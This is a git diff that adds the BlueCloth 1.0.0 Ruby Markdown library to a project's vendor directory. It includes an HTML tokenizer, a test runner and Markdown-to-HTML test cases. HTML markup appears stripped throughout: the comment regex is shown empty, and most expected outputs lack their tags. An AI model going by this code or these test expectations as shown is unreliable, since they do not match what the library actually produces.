escape_md( str ) + str. + gsub( /\*/, EscapeTable['*'][:md5] ). + gsub( /_/, EscapeTable['_'][:md5] ) + end + + + # Matching constructs for tokenizing X/HTML + HTMLCommentRegexp = %r{ }mx + XMLProcInstRegexp = %r{ <\? .*? \?> }mx + MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp ) + + HTMLTagOpenRegexp = %r{ < [a-z/!$] [^<>]* }imx + HTMLTagCloseRegexp = %r{ > }x + HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp ) + + ### Break the HTML source in +str+ into a series of tokens and return + ### them. The tokens are just 2-element Array tuples with a type and the + ### actual content. If this function is called with a block, the type and + ### text parts of each token will be yielded to it one at a time as they are + ### extracted. + def tokenize_html( str ) + depth = 0 + tokens = [] + @scanner.string = str.dup + type, token = nil, nil + + until @scanner.empty? + @log.debug "Scanning from %p" % @scanner.rest + + # Match comments and PIs without nesting + if (( token = @scanner.scan(MetaTag) )) + type = :tag + + # Do nested matching for HTML tags + elsif (( token = @scanner.scan(HTMLTagOpenRegexp) )) + tagstart = @scanner.pos + @log.debug " Found the start of a plain tag at %d" % tagstart + + # Start the token with the opening angle + depth = 1 + type = :tag + + # Scan the rest of the tag, allowing unlimited nested <>s. If + # the scanner runs out of text before the tag is closed, raise + # an error. + while depth.nonzero? + + # Scan either an opener or a closer + chunk = @scanner.scan( HTMLTagPart ) or + raise "Malformed tag at character %d: %p" % + [ tagstart, token + @scanner.rest ] + + @log.debug " Found another part of the tag at depth %d: %p" % [ depth, chunk ] + + token += chunk + + # If the last character of the token so far is a closing + # angle bracket, decrement the depth. Otherwise increment + # it for a nested tag. + depth += ( token[-1, 1] == '>' ? -1 : 1 ) + @log.debug " Depth is now #{depth}" + end + + # Match text segments + else + @log.debug " Looking for a chunk of text" + type = :text + + # Scan forward, always matching at least one character to move + # the pointer beyond any non-tag '<'. + token = @scanner.scan_until( /[^<]+/m ) + end + + @log.debug " type: %p, token: %p" % [ type, token ] + + # If a block is given, feed it one token at a time. Add the token to + # the token list to be returned regardless. + if block_given? + yield( type, token ) + end + tokens << [ type, token ] + end + + return tokens + end + + + ### Return a copy of +str+ with angle brackets and ampersands HTML-encoded. + def encode_html( str ) + str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w+);)/i, "&" ). + gsub( %r{<(?![a-z/?\$!])}i, "<" ) + end + + + ### Return one level of line-leading tabs or spaces from a copy of +str+ and + ### return it. + def outdent( str ) + str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '') + end + +end # class BlueCloth + diff --git a/vendor/gems/BlueCloth-1.0.0/test.rb b/vendor/gems/BlueCloth-1.0.0/test.rb new file mode 100644 index 0000000..fc8d59d --- /dev/null +++ b/vendor/gems/BlueCloth-1.0.0/test.rb @@ -0,0 +1,117 @@ +#!/usr/bin/ruby +# +# Test suite for BlueCloth classes +# $Id$ +# + +BEGIN { + $basedir = File::dirname( __FILE__ ) + ["lib", "tests", "redist"].each do |subdir| + $LOAD_PATH.unshift File::join( $basedir, subdir ) + end + + require "#{$basedir}/utils" + include UtilityFunctions +} + +verboseOff { + require 'bctestcase' + require 'find' + require 'test/unit' + require 'test/unit/testsuite' + require 'test/unit/ui/console/testrunner' + require 'optparse' +} + +# Turn off output buffering +$stderr.sync = $stdout.sync = true +$DebugPattern = nil + +# Initialize variables +safelevel = 0 +patterns = [] +requires = [] + +# Parse command-line switches +ARGV.options {|oparser| + oparser.banner = "Usage: #$0 [options] [TARGETS]\n" + + oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String, + "Turn debugging on (for tests which match PATTERN)" ) {|arg| + if arg + $DebugPattern = Regexp::new( arg ) + puts "Turned debugging on for %p." % $DebugPattern + else + $DEBUG = true + debugMsg "Turned debugging on globally." + end + } + + oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) { + $VERBOSE = true + debugMsg "Turned verbose on." + } + + # Handle the 'help' option + oparser.on( "--help", "-h", "Display this text." ) { + $stderr.puts oparser + exit!(0) + } + + oparser.parse! +} + +# Parse test patterns +ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )} +$stderr.puts "#{patterns.length} patterns given on the command line" + +### Load all the tests from the tests dir +Find.find("#{$basedir}/tests") {|file| + Find.prune if /\/\./ =~ file or /~$/ =~ file + Find.prune if /TEMPLATE/ =~ file + next if File.stat( file ).directory? + + unless patterns.empty? + Find.prune unless patterns.find {|pat| pat =~ file} + end + + debugMsg "Considering '%s': " % file + next unless file =~ /\.tests.rb$/ + debugMsg "Requiring '%s'..." % file + require "#{file}" + requires << file +} + +$stderr.puts "Required #{requires.length} files." +unless patterns.empty? + $stderr.puts "[" + requires.sort.join( ", " ) + "]" +end + +# Build the test suite +class BlueClothTests + class << self + def suite + suite = Test::Unit::TestSuite.new( "BlueCloth" ) + + if suite.respond_to?( :add ) + ObjectSpace.each_object( Class ) {|klass| + suite.add( klass.suite ) if klass < BlueCloth::TestCase + } + else + ObjectSpace.each_object( Class ) {|klass| + suite << klass.suite if klass < BlueCloth::TestCase + } + end + + return suite + end + end +end + +# Run tests +$SAFE = safelevel +Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start + + + + diff --git a/vendor/gems/BlueCloth-1.0.0/tests/00_Class.tests.rb b/vendor/gems/BlueCloth-1.0.0/tests/00_Class.tests.rb new file mode 100644 index 0000000..0490470 --- /dev/null +++ b/vendor/gems/BlueCloth-1.0.0/tests/00_Class.tests.rb @@ -0,0 +1,71 @@ +#!/usr/bin/ruby +# +# Unit test for the BlueCloth class object +# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +### This test case tests ... +class BlueClothClassTestCase < BlueCloth::TestCase + + TestString = "foo" + + def test_00_class_constant + printTestHeader "BlueCloth: Class Constant" + + assert Object::constants.include?( "BlueCloth" ), + "No BlueCloth constant in Object" + assert_instance_of Class, BlueCloth + end + + def test_01_instantiation + printTestHeader "BlueCloth: Instantiation" + rval = nil + + # With no argument... ("") + assert_nothing_raised { + rval = BlueCloth::new + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal "", rval + + # String argument + assert_nothing_raised { + rval = BlueCloth::new TestString + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal TestString, rval + + addSetupBlock { + debugMsg "Creating a new BlueCloth" + @obj = BlueCloth::new( TestString ) + } + addTeardownBlock { + @obj = nil + } + end + + def test_02_duplication + printTestHeader "BlueCloth: Duplication" + rval = nil + + assert_nothing_raised { + rval = @obj.dup + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal TestString, rval + end + + +end + diff --git a/vendor/gems/BlueCloth-1.0.0/tests/05_Markdown.tests.rb b/vendor/gems/BlueCloth-1.0.0/tests/05_Markdown.tests.rb new file mode 100644 index 0000000..f7dedf2 --- /dev/null +++ b/vendor/gems/BlueCloth-1.0.0/tests/05_Markdown.tests.rb @@ -0,0 +1,1527 @@ +#!/usr/bin/ruby +# +# Test case for BlueCloth Markdown transforms. +# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +### This test case tests ... +class SubfunctionsTestCase < BlueCloth::TestCase + + ### Test email address output + Emails = %w[ + address@example.com + foo-list-admin@bar.com + fu@bar.COM + baz@ruby-lang.org + foo-tim-bazzle@bar-hop.co.uk + littlestar@twinkle.twinkle.band.CO.ZA + ll@lll.lllll.ll + Ull@Ulll.Ulllll.ll + UUUU1@UU1.UU1UUU.UU + l@ll.ll + Ull.Ullll@llll.ll + Ulll-Ull.Ulllll@ll.ll + 1@111.ll + ] + # I can't see a way to handle IDNs clearly yet, so these will have to wait. + # info@ko.de + # jemand@bro.de + # irgendwo-interreant@dgta.se + #] + + def test_10_email_address + printTestHeader "BlueCloth: Inline email address" + rval = match = nil + + Emails.each {|addr| + assert_nothing_raised { + rval = BlueCloth::new( "<#{addr}>" ).to_html + } + + match = %r{

    [^<]+

    }.match( rval ) + assert_not_nil match, "Match against output #{rval}" + assert_equal "mailto:#{addr}", decode( match[1] ) + } + end + + + def decode( str ) + str.gsub( /&#(x[a-f0-9]+|\d{3});/i ) {|match| + code = $1 + debugMsg "Decoding %p" % code + + case code + when /^x([a-f0-9]+)/i + debugMsg " (hex) = %p" % $1.to_i(16).chr + $1.to_i(16).chr + when /\d{3}/ + debugMsg " (oct) = %p" % code.to_i.chr + code.to_i.chr + else + raise "Hmmm... malformed entity %p" % code + end + } + end + + + + ################################################################# + ### A U T O - G E N E R A T E D T E S T S + ################################################################# + + # Parse the data section into a hash of test specifications + TestSets = {} + begin + seenEnd = false + inMetaSection = true + inInputSection = true + section, description, input, output = '', '', '', '' + linenum = 0 + + # Read this file, skipping lines until the __END__ token. Then start + # reading the tests. + File::foreach( __FILE__ ) {|line| + linenum += 1 + if /^__END__/ =~ line then seenEnd = true; next end + debugMsg "#{linenum}: #{line.chomp}" + next unless seenEnd + + # Start off in the meta section, which has sections and + # descriptions. + if inMetaSection + + case line + + # Left angles switch into data section for the current section + # and description. + when /^<< linenum, + :sets => [], + } + + end + + # Data section has input and expected output parts + else + + case line + + # Right angles terminate a data section, at which point we + # should have enough data to add a test. + when /^>>>/ + TestSets[ section ][ description ][:sets] << [ input.chomp, output.chomp ] + + inMetaSection = true + inInputSection = true + input = ''; output = '' + + # 3-Dashed divider with text divides input from output + when /^--- (.+)/ + inInputSection = false + + # Anything else adds to either input or output + else + if inInputSection + input += line + else + output += line + end + end + end + } + end + + debugMsg "Test sets: %p" % TestSets + + # Auto-generate tests out of the test specifications + TestSets.each {|sname, section| + + # Generate a test method for each section + section.each do |desc, test| + methname = "test_%03d_%s" % + [ test[:line], desc.gsub(/\W+/, '_').downcase ] + + # Header + code = %{ + def #{methname} + printTestHeader "BlueCloth: #{desc}" + rval = nil + } + + # An assertion for each input/output pair + test[:sets].each {|input, output| + code << %{ + assert_nothing_raised { + obj = BlueCloth::new(%p) + rval = obj.to_html + } + assert_equal %p, rval + + } % [ input, output ] + } + + code << %{ + end + } + + + debugMsg "--- %s [%s]:\n%s\n---\n" % [sname, desc, code] + eval code + end + + } + +end + + +__END__ + +### [Paragraphs and Line Breaks] + +# Paragraphs +<<< +This is some stuff that should all be +put in one paragraph +even though +it occurs over several lines. + +And this is a another +one. +--- Should become: +

    This is some stuff that should all be +put in one paragraph +even though +it occurs over several lines.

    + +

    And this is a another +one.

    +>>> + +# Line breaks +<<< +Mostly the same kind of thing +with two spaces at the end +of each line +should result in +line breaks, though. + +And this is a another +one. +--- Should become: +

    Mostly the same kind of thing
    +with two spaces at the end
    +of each line
    +should result in
    +line breaks, though.

    + +

    And this is a another
    +one.

    +>>> + +# Escaping special characters +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Preservation of named entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Preservation of decimal-encoded entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Preservation of hex-encoded entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Inline HTML - table tags +<<< +This is a regular paragraph. + + + + + +
    Foo
    + +This is another regular paragraph. +--- Should become: +

    This is a regular paragraph.

    + + + + + +
    Foo
    + +

    This is another regular paragraph.

    +>>> + +# Inline HTML - div tags +<<< +This is a regular paragraph. + +
    + Something +
    +Something else. +--- Should become: +

    This is a regular paragraph.

    + +
    + Something +
    + +

    Something else.

    +>>> + + +# Inline HTML - Plain HR +<<< +This is a regular paragraph. + +
    + +Something else. +--- Should become: +

    This is a regular paragraph.

    + +
    + +

    Something else.

    +>>> + + +# Inline HTML - Fancy HR +<<< +This is a regular paragraph. + +
    + +Something else. +--- Should become: +

    This is a regular paragraph.

    + +
    + +

    Something else.

    +>>> + + +# Inline HTML - Iframe +<<< +This is a regular paragraph. + + + +Something else. +--- Should become: +

    This is a regular paragraph.

    + + + +

    Something else.

    +>>> + + +# Inline HTML - mathml +<<< +Examples +-------- + +Now that we have met some of the key players, it is time to see what we can +do. Here are some examples and comments which illustrate the use of the basic +layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic +MathML presentation encoding for this would be: + + + + + x + 2 + + + + 4 + x + + + 4 + = + 0 + + + +This encoding will display as you would expect. However, if we were interested +in reusing this expression in unknown situations, we would likely want to spend +a little more effort analyzing and encoding the logical expression structure. + +--- Should become: +

    Examples

    + +

    Now that we have met some of the key players, it is time to see what we can +do. Here are some examples and comments which illustrate the use of the basic +layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic +MathML presentation encoding for this would be:

    + + + + + x + 2 + + + + 4 + x + + + 4 + = + 0 + + + +

    This encoding will display as you would expect. However, if we were interested +in reusing this expression in unknown situations, we would likely want to spend +a little more effort analyzing and encoding the logical expression structure.

    +>>> + + +# Span-level HTML +<<< +This is some stuff with a spanned bit of text in +it. And this *should* be a bit of deleted text which should be +preserved, and part of it emphasized. +--- Should become: +

    This is some stuff with a spanned bit of text in +it. And this should be a bit of deleted text which should be +preserved, and part of it emphasized.

    +>>> + +# Inline HTML (Case-sensitivity) +<<< +This is a regular paragraph. + + + + + +
    Foo
    + +This is another regular paragraph. +--- Should become: +

    This is a regular paragraph.

    + + + + + +
    Foo
    + +

    This is another regular paragraph.

    +>>> + +# Span-level HTML (Case-sensitivity) +<<< +This is some stuff with a spanned bit of text in +it. And this *should* be a bit of deleted text which should be +preserved, and part of it emphasized. +--- Should become: +

    This is some stuff with a spanned bit of text in +it. And this should be a bit of deleted text which should be +preserved, and part of it emphasized.

    +>>> + + + +### [Code spans] + +# Single backtick +<<< +Making `code` work for you +--- Should become: +

    Making code work for you

    +>>> + +# Literal backtick with doubling +<<< +Making `` `code` `` work for you +--- Should become: +

    Making `code` work for you

    +>>> + +# Many repetitions +<<< +Making `````code````` work for you +--- Should become: +

    Making code work for you

    +>>> + +# Two in a row +<<< +This `thing` should be `two` spans. +--- Should become: +

    This thing should be two spans.

    +>>> + +# At the beginning of a newline +<<< +I should think that the +`tar` command would be universal. +--- Should become: +

    I should think that the +tar command would be universal.

    +>>> + +# Entity escaping +<<< +The left angle-bracket (`<`) can also be written as a decimal-encoded +(`<`) or hex-encoded (`<`) entity. +--- Should become: +

    The left angle-bracket (&lt;) can also be written as a decimal-encoded +(&#060;) or hex-encoded (&#x3c;) entity.

    +>>> + +# At the beginning of a document (Bug #525) +<<< +`world` views +--- Should become: +

    world views

    +>>> + + + + +### [Code blocks] + +# Para plus code block (literal tab) +<<< +This is a chunk of code: + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code:

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Para plus code block (literal tab, no colon) +<<< +This is a chunk of code + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Para plus code block (tab-width spaces) +<<< +This is a chunk of code: + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code:

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Para plus code block (tab-width spaces, no colon) +<<< +This is a chunk of code + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Colon with preceeding space +<<< +A regular paragraph, without a colon. : + + This is a code block. + +Some stuff. +--- Should become: +

    A regular paragraph, without a colon. :

    + +
    This is a code block.
    +
    + +

    Some stuff.

    +>>> + +# Single colon +<<< +: + + some.code > some.other_code + +Some stuff. +--- Should become: +

    :

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Preserve leading whitespace (Bug #541) +<<< +Examples: + + # (Waste character because first line is flush left !!!) + # Example script1 + x = 1 + x += 1 + puts x + +Some stuff. +--- Should become: +

    Examples:

    + +
          # (Waste character because first line is flush left !!!)
    +      # Example script1
    +      x = 1
    +      x += 1
    +      puts x
    +
    + +

    Some stuff.

    +>>> + + +### [Horizontal Rules] + +# Hrule 1 +<<< +* * * +--- Should become: +
    +>>> + +# Hrule 2 +<<< +*** +--- Should become: +
    +>>> + +# Hrule 3 +<<< +***** +--- Should become: +
    +>>> + +# Hrule 4 +<<< +- - - +--- Should become: +
    +>>> + +# Hrule 5 +<<< +--------------------------------------- +--- Should become: +
    +>>> + + +### [Titles] + +# setext-style h1 +<<< +Title Text += +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +=== +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +========== +--- Should become: +

    Title Text

    +>>> + +# setext-style h2 +<<< +Title Text +- +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +--- +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +---------- +--- Should become: +

    Title Text

    +>>> + +# ATX-style h1 +<<< +# Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +# Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +# Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +# Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h2 +<<< +## Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +## Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +## Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +## Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h3 +<<< +### Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +### Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +### Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +### Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h4 +<<< +#### Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +#### Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +#### Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +#### Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h5 +<<< +##### Title Text +--- Should become: +
    Title Text
    +>>> + +<<< +##### Title Text # +--- Should become: +
    Title Text
    +>>> + +<<< +##### Title Text ### +--- Should become: +
    Title Text
    +>>> + +<<< +##### Title Text ##### +--- Should become: +
    Title Text
    +>>> + +# ATX-style h6 +<<< +###### Title Text +--- Should become: +
    Title Text
    +>>> + +<<< +###### Title Text # +--- Should become: +
    Title Text
    +>>> + +<<< +###### Title Text ### +--- Should become: +
    Title Text
    +>>> + +<<< +###### Title Text ##### +--- Should become: +
    Title Text
    +>>> + + +### [Blockquotes] + +# Regular 1-level blockquotes +<<< +> Email-style angle brackets +> are used for blockquotes. +--- Should become: +
    +

    Email-style angle brackets + are used for blockquotes.

    +
    +>>> + +# Doubled blockquotes +<<< +> > And, they can be nested. +--- Should become: +
    +
    +

    And, they can be nested.

    +
    +
    +>>> + +# Nested blockquotes +<<< +> Email-style angle brackets +> are used for blockquotes. + +> > And, they can be nested. +--- Should become: +
    +

    Email-style angle brackets + are used for blockquotes.

    + +
    +

    And, they can be nested.

    +
    +
    +>>> + +# Lazy blockquotes +<<< +> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, +consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. +Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. + +> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse +id sem consectetuer libero luctus adipiscing. +--- Should become: +
    +

    This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, + consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. + Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

    + +

    Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse + id sem consectetuer libero luctus adipiscing.

    +
    +>>> + + +# Blockquotes containing other markdown elements +<<< +> ## This is a header. +> +> 1. This is the first list item. +> 2. This is the second list item. +> +> Here's some example code: +> +> return shell_exec("echo $input | $markdown_script"); +--- Should become: +
    +

    This is a header.

    + +
      +
    1. This is the first list item.
    2. +
    3. This is the second list item.
    4. +
    + +

    Here's some example code:

    + +
    return shell_exec("echo $input | $markdown_script");
    +
    +
    +>>> + +# Blockquotes with a
     section
    +<<<
    +> The best approximation of the problem is the following code:
    +>
    +> 
    +> foo + bar; foo.factorize; foo.display
    +> 
    +> +> This should result in an error on any little-endian platform. +--- Should become: +
    +

    The best approximation of the problem is the following code:

    + +
    +foo + bar; foo.factorize; foo.display
    +
    + +

    This should result in an error on any little-endian platform.

    +
    +>>> + + + +### [Images] + +# Inline image with title +<<< +![alt text](/path/img.jpg "Title") +--- Should become: +

    alt text

    +>>> + +# Inline image with title (single-quotes) +<<< +![alt text](/path/img.jpg 'Title') +--- Should become: +

    alt text

    +>>> + +# Inline image with title (with embedded quotes) +<<< +![alt text](/path/img.jpg 'The "Title" Image') +--- Should become: +

    alt text

    +>>> + +# Inline image without title +<<< +![alt text](/path/img.jpg) +--- Should become: +

    alt text

    +>>> + +# Inline image with quoted alt text +<<< +![the "alt text"](/path/img.jpg) +--- Should become: +

    the "alt text"

    +>>> + + +# Reference image +<<< +![alt text][id] + +[id]: /url/to/img.jpg "Title" +--- Should become: +

    alt text

    +>>> + + + +### [Emphasis] + +# Emphasis () with asterisks +<<< +Use *single splats* for emphasis. +--- Should become: +

    Use single splats for emphasis.

    +>>> + +# Emphasis () with underscores +<<< +Use *underscores* for emphasis. +--- Should become: +

    Use underscores for emphasis.

    +>>> + +# Strong emphasis () with asterisks +<<< +Use **double splats** for more emphasis. +--- Should become: +

    Use double splats for more emphasis.

    +>>> + +# Strong emphasis () with underscores +<<< +Use __doubled underscores__ for more emphasis. +--- Should become: +

    Use doubled underscores for more emphasis.

    +>>> + +# Combined emphasis types 1 +<<< +Use *single splats* or _single unders_ for normal emphasis. +--- Should become: +

    Use single splats or single unders for normal emphasis.

    +>>> + +# Combined emphasis types 2 +<<< +Use _single unders_ for normal emphasis +or __double them__ for strong emphasis. +--- Should become: +

    Use single unders for normal emphasis +or double them for strong emphasis.

    +>>> + +# Emphasis containing escaped metachars +<<< +You can include literal *\*splats\** by escaping them. +--- Should become: +

    You can include literal *splats* by escaping them.

    +>>> + +# Two instances of asterisked emphasis on one line +<<< +If there's *two* splatted parts on a *single line* it should still work. +--- Should become: +

    If there's two splatted parts on a single line it should still work.

    +>>> + +# Two instances of double asterisked emphasis on one line +<<< +This **doubled** one should **work too**. +--- Should become: +

    This doubled one should work too.

    +>>> + +# Two instances of underscore emphasis on one line +<<< +If there's _two_ underbarred parts on a _single line_ it should still work. +--- Should become: +

    If there's two underbarred parts on a single line it should still work.

    +>>> + +# Two instances of doubled underscore emphasis on one line +<<< +This __doubled__ one should __work too__. +--- Should become: +

    This doubled one should work too.

    +>>> + +# Initial emphasis (asterisk) +<<< +*Something* like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Initial emphasis (underscore) +<<< +_Something_ like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Initial strong emphasis (asterisk) +<<< +**Something** like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Initial strong emphasis (underscore) +<<< +__Something__ like this should be bold. +--- Should become: +

    Something like this should be bold.

    +>>> + +# Partial-word emphasis (Bug #568) +<<< +**E**xtended **TURN** +--- Should become: +

    Extended TURN

    +>>> + + + +### [Links] + +# Inline link, no title +<<< +An [example](http://url.com/). +--- Should become: +

    An example.

    +>>> + +# Inline link with title +<<< +An [example](http://url.com/ "Check out url.com!"). +--- Should become: +

    An example.

    +>>> + +# Reference-style link, no title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ +--- Should become: +

    An example reference-style link.

    +>>> + +# Reference-style link with quoted title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ "Check out our air." +--- Should become: +

    An example reference-style link.

    +>>> + +# Reference-style link with paren title +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ (Check out our air.) +--- Should become: +

    An example reference-style link.

    +>>> + +# Reference-style link with one of each (hehe) +<<< +An [example][ex] reference-style link. + +[ex]: http://www.bluefi.com/ "Check out our air.) +--- Should become: +

    An example reference-style link.

    +>>> + +" <- For syntax highlighting + +# Reference-style link with intervening space +<<< +You can split the [linked part] [ex] from +the reference part with a single space. + +[ex]: http://www.treefrog.com/ "for some reason" +--- Should become: +

    You can split the linked part from +the reference part with a single space.

    +>>> + +# Reference-style link with intervening space +<<< +You can split the [linked part] + [ex] from the reference part +with a newline in case your editor wraps it there, I guess. + +[ex]: http://www.treefrog.com/ +--- Should become: +

    You can split the linked part from the reference part +with a newline in case your editor wraps it there, I guess.

    +>>> + +# Reference-style anchors +<<< +I get 10 times more traffic from [Google] [1] than from +[Yahoo] [2] or [MSN] [3]. + + [1]: http://google.com/ "Google" + [2]: http://search.yahoo.com/ "Yahoo Search" + [3]: http://search.msn.com/ "MSN Search" +--- Should become: +

    I get 10 times more traffic from Google than from +Yahoo or MSN.

    +>>> + +# Implicit name-link shortcut anchors +<<< +I get 10 times more traffic from [Google][] than from +[Yahoo][] or [MSN][]. + + [google]: http://google.com/ "Google" + [yahoo]: http://search.yahoo.com/ "Yahoo Search" + [msn]: http://search.msn.com/ "MSN Search" +--- Should become: +

    I get 10 times more traffic from Google than from +Yahoo or MSN.

    +>>> + +# Inline anchors +<<< +I get 10 times more traffic from [Google](http://google.com/ "Google") +than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or +[MSN](http://search.msn.com/ "MSN Search"). +--- Should become: +

    I get 10 times more traffic from Google +than from Yahoo or +MSN.

    +>>> + +# Graceful fail for unclosed brackets (and bug #524) +<<< +This is just a [bracket opener; it should fail gracefully. +--- Should become: +

    This is just a [bracket opener; it should fail gracefully.

    +>>> + +# Unresolved reference-style links (Bug #620) +<<< +This is an unresolved [url][1]. +--- Should become: +

    This is an unresolved [url][1].

    +>>> + + +### [Auto-links] + +# Plain HTTP link +<<< +This is a reference to . You should follow it. +--- Should become: +

    This is a reference to http://www.FaerieMUD.org/. You should follow it.

    +>>> + +# FTP link +<<< +Why not download your very own chandelier from ? +--- Should become: +

    Why not download your very own chandelier from ftp://ftp.usuc.edu/pub/foof/mir/?

    +>>> + + +### [Lists] + +# Unordered list +<<< +* Red +* Green +* Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Unordered list w/alt bullets +<<< +- Red +- Green +- Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Unordered list w/alt bullets 2 +<<< ++ Red ++ Green ++ Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Unordered list w/mixed bullets +<<< ++ Red +- Green +* Blue +--- Should become: +
      +
    • Red
    • +
    • Green
    • +
    • Blue
    • +
    +>>> + +# Ordered list +<<< +1. Bird +2. McHale +3. Parish +--- Should become: +
      +
    1. Bird
    2. +
    3. McHale
    4. +
    5. Parish
    6. +
    +>>> + +# Ordered list, any numbers +<<< +1. Bird +1. McHale +1. Parish +--- Should become: +
      +
    1. Bird
    2. +
    3. McHale
    4. +
    5. Parish
    6. +
    +>>> + +# Ordered list, any numbers 2 +<<< +3. Bird +1. McHale +8. Parish +--- Should become: +
      +
    1. Bird
    2. +
    3. McHale
    4. +
    5. Parish
    6. +
    +>>> + +# Hanging indents +<<< +* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. + Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, + viverra nec, fringilla in, laoreet vitae, risus. +* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. + Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
      +
    • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus.
    • +
    • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing.
    • +
    +>>> + +# Lazy indents +<<< +* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus. +* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
      +
    • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus.
    • +
    • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing.
    • +
    +>>> + +# Paragraph wrapped list items +<<< +* Bird + +* Magic +--- Should become: +
      +
    • Bird

    • +
    • Magic

    • +
